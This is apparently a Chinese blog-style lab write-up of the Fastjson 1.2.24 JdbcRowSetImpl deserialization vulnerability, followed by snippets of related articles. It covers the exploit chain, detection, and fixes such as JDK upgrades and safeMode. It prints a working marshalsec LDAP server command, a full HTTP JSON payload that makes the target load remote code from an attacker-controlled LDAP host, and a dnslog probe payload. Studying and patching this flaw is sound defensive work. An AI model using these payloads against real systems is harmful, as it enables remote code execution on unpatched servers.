关键词:
Fastjson反序列化漏洞
一、Fastjson介绍
1、什么是fastjson?
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2、fastjson的优点
- 速度快
- 使用广泛
- 测试完备
- 使用简单
二、影响范围:
fastjson <= 1.2.24
三、漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1、JdbcRowSetlmpl类反序列化,调用JdbcRowSetlmpl类的setAutoCommit()方法
2、setAutoCommit()调用connect()
3、connect()调用lookup()连接到LDAP/RMI服务器
4、下载恶意代码到本地,执行,攻击发生
个人理解(不一定正确):
fastjson在反序列化json字符时,可以通过autoType来指定反序列化的类,并调用相关方法的set方法(这里调用了dataSourceName和autoCommit方法,反序列化后自动会调用setdataSourceName和setautoCommit方法并把参数传入),而setautoCommit方法中调用了connect方法,connect方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。
感觉和log4j JNDI注入漏洞极其相似,都是因为lookup方法没有进行限制导致的漏洞,但前期利用的方式缺不同,fastjson是通过autoType来反序列化JdbcRowSetlmpl类,通过setautoCommit方法调用到lookup方法,而log4j是因为日志调用方法中调用了lookup方法。
四、漏洞利用
1、先开启vulhub中fastjson靶机
2、开启获取资源的http服务器
3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)
4、开启RMI/LDAP服务(本机的9999端口)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
5、bp发送payload
POST / HTTP/1.1
Host: 192.168.142.133:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
"b":
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.1:9999/File",
"autoCommit":true
五、漏洞发现
1、找到发送json序列化数据的接口
2、判断是否使用fastjson
(1)非法格式报错
"x":"
(2)使用dnslog探测
"x":"@type":"java.net.Inet4Address","val":"xxx.dnslog.com"
(3)Burpsuit插件
六、漏洞修复
1、升级JDK
JDK7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为True。当该值为true时,将禁用自动加载远程类文件,仅从本地加载文件。
JDK8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本无法触发该漏洞,但依然可以用LDAP协议来进行JNDI注入攻击。
JDK8u191之后:
com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项,把LDAP协议攻击途径也禁用了。
2、升级Fastjson
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其他序列化工具
Jackson/Gson
网络安全fastjson的反序列化漏洞复现(代码片段)
1.漏洞概述Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反... 查看详情
fastjson1.2.24反序列化导致任意命令执行漏洞(cve-2017-18349)(代码片段)
...链接漏洞原理Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。fastjson在解析json的过程中,支持使用autoType来实例化某一... 查看详情
fastjson反序列化漏洞(实验文章)(代码片段)
...能1.开发环境的部署和访问FastJson的基本使用(执行反序列化操作)FastJson漏洞概况漏洞检测(Fastjsonscan)漏洞复现漏洞原理简述FastJson基本使用代码FastJson1.2.24Rce复现图参考Json数据格式JSON是一种轻量级的数据交换... 查看详情
原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!(代码片段)
原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!△Hollis,一个对Coding有着独特追求的人△这是Hollis的第292篇原创分享作者lHollis来源lHollis(ID:hollischuang)在《fastjson到底做错了什么?为什么会被频繁爆出漏洞... 查看详情
网络安全fastjson的反序列化漏洞复现(代码片段)
1.漏洞概述Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反... 查看详情
15-java安全——fastjson反序列化1.2.25-1.2.41版本绕过(代码片段)
1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名... 查看详情
)(代码片段)
...能1.开发环境的部署和访问FastJson的基本使用(执行反序列化操作)FastJson漏洞概况漏洞检测(Fastjsonscan)漏洞复现漏洞原理简述FastJson基本使用代码FastJson1.2.24Rce复现图参考Json数据格式JSON 查看详情
15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)
...本绕过1.2.45版本绕过1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情
高危,fastjson反序列化远程代码执行漏洞风险通告,请尽快升级
...息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。据统计,此... 查看详情
搞懂fastjson对泛型的反序列化原理(代码片段)
fastjson是现在非常常用的一个json的序列化和反序列化工具,是阿里发布的,虽然最近一直在暴雷,各种漏洞,但是这不影响我们学习他。fastjson的使用加入依赖在pom.xml中直接增加fastjson的依赖就行了,向下面这... 查看详情
搞懂fastjson对泛型的反序列化原理(代码片段)
fastjson是现在非常常用的一个json的序列化和反序列化工具,是阿里发布的,虽然最近一直在暴雷,各种漏洞,但是这不影响我们学习他。fastjson的使用加入依赖在pom.xml中直接增加fastjson的依赖就行了,向下面这... 查看详情
fastjson反序列化漏洞原理及利用(代码片段)
fastjson反序列化漏洞原理及利用一、序列化/反序列化1.什么是序列化和反序列化1.1基本概念(1)Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程;(2)*... 查看详情
fastjson反序列化漏洞复现(实战案例)(代码片段)
漏洞介绍FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。通俗理解就是:漏洞利用fastjsonautotype... 查看详情
fastjson-bcel不出网打法原理分析(代码片段)
FastJson反序列化漏洞与原生的Java反序列化的区别在于,FastJson反序列化并未使用readObject方法,而是由FastJson自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的setter方法和getter方法,将JSON字符串还原... 查看详情
高危,fastjson反序列化远程代码执行漏洞风险通告,请尽快升级
...息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。据统计,此... 查看详情
15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)
...本绕过1.2.45版本绕过1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数... 查看详情
13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析(代码片段)
漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1. 查看详情
网络安全之反序列化漏洞分析(代码片段)
...为等效的Java对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。使用对于序列化的方法toJSONString()有多个重载形式。SerializeFeature:通过设置多个特性到Fas 查看详情